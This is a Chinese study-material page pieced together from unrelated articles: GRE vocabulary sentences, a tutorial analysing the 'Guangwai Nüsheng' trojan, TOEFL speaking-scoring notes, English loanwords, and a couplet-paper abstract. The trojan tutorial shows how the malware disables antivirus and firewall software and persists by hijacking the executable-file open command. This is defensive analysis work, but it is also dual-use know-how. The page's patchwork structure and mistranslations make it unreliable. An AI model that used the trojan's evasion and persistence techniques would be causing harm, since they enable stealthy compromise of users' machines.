465. I'm determined to permit the permanent term on detergent.
我决心同意有关洗涤剂的永久条款。
466. The committee admits it committed an omission in commissioning the mission.
委员会承认它在委任使团时犯的疏忽。
467. The odd man added an additional riddle to the middle of the saddle.
那个怪人把一个额外的谜语添加到鞍座中间。
468. The insult to the adult consulter results in multiplication of the faulty faucets.
对成年咨询者的侮辱导致有缺陷水龙头成倍增加。
469. The detective detected that the arch was under the marching Arctic architects' protection.
侦察察觉拱门受到行进的北极建筑师们的保护。
470. In the college, I alleged that I recollected the dialog in dialect about the dial collection.
在学院里我宣称忆起关于收集到度盘用方言进行的对话。
用句子背记GRE单词
471. In the selection the lecturer neglected the negligible negative
reflection on the election.
在选集中演讲者忽视了对选举的微不足道的消极反思。
472. The electrical connection in the photoelectric elevator involves electronics.
光电升降机内的电气连接涉及到电子学。
473. The rising risk arises from the surprised fund raiser's praise of the appraisal.
上升的风险起因于受惊的资金聚集者对评估的赞美。
474. The efficient ancient scientist had conscience in science.
那个能干的古代科学家在科学上有良知。
475. The eagle is eager to anger the tiger in danger.
鹰渴望激怒处在危险中的老虎。
476. The language angel hanged up the gang and banged them at the angle of the triangle.
语文天使将那伙人吊起朝三角形的角上猛撞。
477. equal, equator, equation, equivalent, quiver
相等的赤道方程式均等颤动。
478.The lawyer's son-in-law likes hawk's claws and jaws.
律师的女婿喜欢鹰爪和下颌.
479. Televisions and telescopes give the visitors visual ability to see the casual casualty.
电视和望远镜赋予参观者们看见偶然伤亡事故的视觉能力。
480. The grown-up growled at a crowd of crows.
那个成年人对着一群公鸡咆哮。
GRE词汇具体要求数据分析讲解
篇8：实例讲解一般木马的分析方法
“广外女生”大家肯定都知道，这个木马是广东外语外贸大学“广外女生”网络小组的作品，它可以运行于WIN98，WIN98SE，WINME，WINNT，WIN2000或已经安装Winsock2.0的Win95/97上，与以往的木马相比，它具有体积更小、隐藏更为巧妙的特点。可以预料，在将来的日子里它会成为继“冰河”之后的又一流行的木马品种。
由于“广外女生”这个木马的驻留、启动的方法比较具有典型性，下面我就通过对这种新型木马的详细分析过程来向大家阐述对一般木马的研究方法。下面的测试环境为Windows2000中文版。
一、所需工具
1.RegSnap v2.80 监视注册表以及系统文件变化的最好工具
2.fport v1.33 查看程序所打开的端口的工具
3.FileInfo v2.45a 查看文件类型的工具
4.ProcDump v1.6.2 脱壳工具
5.IDA v4.0.4 反汇编工具
二、分析步骤
一切工具准备就绪了，我们开始分析这个木马。一般的木马的服务器端一旦运行之后都会对注册表以及系统文件做一些手脚，所以我们在分析之前就要先对注册表以及系统文件做一个备份。
首先打开RegSnap，从file菜单选new,然后点OK。这样就对当前的注册表以及系统文件做了一个记录，一会儿如果木马修改了其中某项，我们就可以分析出来了。备份完成之后把它存为Regsnp1.rgs。
然后我们就在我们的电脑上运行“广外女生”的服务器端，不要害怕，因为我们已经做了比较详细的备份了，它做的手脚我们都可以照原样改回来的。双击gdufs.exe，然后等一小会儿。如果你正在运行着“天网防火墙”或“金山毒霸”的话，应该发现这两个程序自动退出了，很奇怪吗？且听我们后面的分析。现在木马就已经驻留在我们的系统中了。我们来看一看它究竟对我们的做了哪些操作。重新打开RegSnap，从file菜单选new,然后点OK，把这次的snap结果存为Regsnp2.rgs。
从RegSnap的file菜单选择Compare，在First snapshot中选择打开Regsnp1.rgs，在Second snapshot中选择打开Regsnp2.rgs，并在下面的单选框中选中Show modifiedkey names and key values，
然后按OK按钮，这样RegSnap就开始比较两次记录又什么区别了，当比较完成时会自动打开分析结果文件Regsnp1-Regsnp2.htm。
看一下Regsnp1-Regsnp2.htm，注意其中的：
木马一般都会在注册表中设置一些键值以便以后在系统每次重新启动时能够自动运行。我们再来看看Regsnp1-Regsnp2.htm中哪些注册表项发生了变化，凭借经验应该注意到下面这条了：
它就是运行可执行文件的格式，被改成C:WINNTSystem32DIAGCFG.EXE “%1”。%*之后每次再运行任何可执行文件时都要先运行C:WINNTSystem32DIAGCFG.EXE这个程序。
篇9：托福口语官方评分标准讲解分析
托福口语成绩到底是怎么算的?官方评分标准讲解分析
托福口语成绩如何计算?
首先，在托福考试中，判分员分为E-Rater和Human-Rater。E-Rater即机器判分，比如我们的托福阅读和听力部分，包括写作也会用E-Rater先粗判一下基本的拼写和语法方面。Human-Rater则是主要负责口语部分和写作更高层级的判分工作。
判分员来源于不同的岗位，比如大学教授、国际学校教师、美国高等院校考试测评专业的学生等。在经过了笔试、面试和严格的筛选培训流程后才能上岗。然后分配到具体的某个科目专人专项进行判分。以托福口语为例，每个评分员开始判分工作之前都需要完成当日校准。即他们会被要求给一些“预置答案”判分，这些答案都是由资深判分小组提前定义好了分数，用来检测当日判分员是否能达到准确判分的要求。只有通过了才会被分配真实考生的答案并进行判分。在当天的真实考试判分过程中，系统还会给他们随机分配这样的“预置答案”，以便监控全天判分过程中的准确度。
在我们的考试结束后，考生的口语部分录音回答将被送到 ETS总部，由 3 到 6 位经认证的评分员按照 0 到 4 的评分标准(五个整数分数段)进行全面评分。判分员在进行判分时，判分系统上会有4、3、2、1、0各个档位的标准答案，供判分员参考以便矫正自己判分的准确度。若判分标答参考不足以帮助判分员界定分数，他们可以申请组长来帮助自己完成判分。最终六道口语题的分数加在一起(0-24分)，取算数平均值(0-4分之间，但会出现小数点后0/.83/.66/.50/.33/.16六种不同情况)根据转换表，来转换为0-30分的总分。
托福口语分太低还可以复议?
ETS会定期对判分员进行数据抽查，以保证考生能够获得公平科学的成绩。不合格的判分员会被回炉重造甚至辞退。总而言之，ETS是个做事严谨的机构，我们所有考生要认真对待自己的分数，对于“复议”也不能抱有太多侥幸心理。当然，如果考生特别自信地认为自己的答案被误判了，那还是应该勇敢地选择复议。
怎样用十个被动句子来练习托福口语
1. I got plucked. 我未被录取。
2. He got dismissed. 他被开除了。
3. You are bound to be received warmly. 你定会受到热情接待。
4. I preferred to be assigned something more difficult to do. 我宁愿被分配(得到)些更困难的工作做。
5. He was often spoken about. 他常被人们谈到。
6. It is considered a shame to cheat in examination. 考试舞弊是可耻的。
7. It was found difficult for us to understand him. 我们发现要了解他是很难的。
8. It was proved wrong to say things like that. 已经证明那种讲法是不对的。
9. It is requested that you kindly take immediate action in the matter. 对于此事，请速做处理。
10. It hasn’t been made clear when the new road is open to traffic. 新路什么时候通车还没有宣布
托福口语中的那些外来词
1、Karaoke 卡拉OK
Language of Origin: Japanese
来源语：日语
About the Word:
It comes from the Japanese kara (“empty”) + ōke, short for ōkesutora (“orchestra”).
该词来源语日语的kara(空的)和ōke(“乐团”的缩写)，即“空荡荡的乐团”。
Karaoke became popular in Japan among businessmen in the late 1970s, and gained widespread popularity in the U.S. in the late 1980s.
上世纪70年代后期，卡拉OK开始在日本商务人士当中流行起来，上世纪80年代后期盛行于美国。
2、Kowtow 屈从、献媚
Language of Origin: Chinese
来源语：汉语
About the Word:
It comes from the Chinese kòutóu – kòu (“to knock”) plus tóu (“head”) – and originally referred to kneeling and touching one's head to the ground as a salute or act of worship to a revered authority.
该词来源语汉语里的“叩头”一词，即以双膝跪地、头触地的形式对权重人士表示尊敬。
The noun arrived in English in the early 1800s, and within a few decades had taken on the “fawn” or “suck up” verb meaning we use today.
该词在19世纪早期被吸纳进英语词汇，后来几十年间，该词在英语中的意思逐渐固定为“巴结、献媚”。
3、Ketchup 番茄酱
Language of Origin: Malay
来源语：马来语
About the Word:
This all-American condiment started out as a spicy, fermented fish sauce in Malaysia.
如今已成为美国标志性佐料的番茄酱最开始在马来西亚起源时其实是一种带辣味的发酵鱼露。
That version, known as kěchap, made its way first to Europe and then to the New World, where tomatoes eventually became the defining ingredient.
那种鱼露的名字叫kěchap，最先传到欧洲，然后才到达美洲新大陆，在那里，kěchap的主料逐渐变成了番茄。
Elsewhere, ketchup retains an earlier identity. Traditional English ketchup, for example, is a pureed seasoning based on mushrooms, unripe walnuts, or oysters.
在其他国家，番茄酱仍然保留原来的配料。例如，传统的英式番茄酱是由蘑菇、尚未成熟的核桃或牡蛎制成的酱料。
4、Hazard 危险
Language of Origin: Arabic
来源语：阿拉伯语
About the Word:
Hazard dates to the time of the Crusaders and involves a game of chance.
Hazard一词的来源要追溯到十字军东征时期，与投机游戏有关。
According to the most likely theory, the original hazard (“al-zahr,” in Arabic) was a die. Players would roll the dice and bet on the outcome.
可能性最高的一种说法是，hazard最开始其实就是个骰子。玩家通过掷骰子、猜点数来赌输赢。
English got the word from French. In English, hazard eventually came to name any chance, risk, or source of danger.
英语中的hazard一词来源于法语，指机遇、风险或危险的源头。
篇10：成语对联的多角度分析
成语对联的多角度分析
成语对联是由结构上基本相同、意思上相近相关或相反相对的两条四言成语构成的`.它们像对对子一样地排列在一起,在字面形式、语义内容、构造方式、语音成分、辞格运用等方面,都表现出均衡对称的特点.
作 者：龙青然 LONG Qing-ran 作者单位：邵阳学院,中文系,湖南,邵阳,422000 刊 名：湖南城市学院学报 英文刊名：JOURNAL OF HUNAN CITY UNIVERSITY 年，卷(期)：2008 29(1) 分类号：H033 关键词：成语 对联 结构 语义★ 讲解范文
★ 导游讲解稿范文
★ 讲解导游词
八大山人对联讲解分析（共10篇）
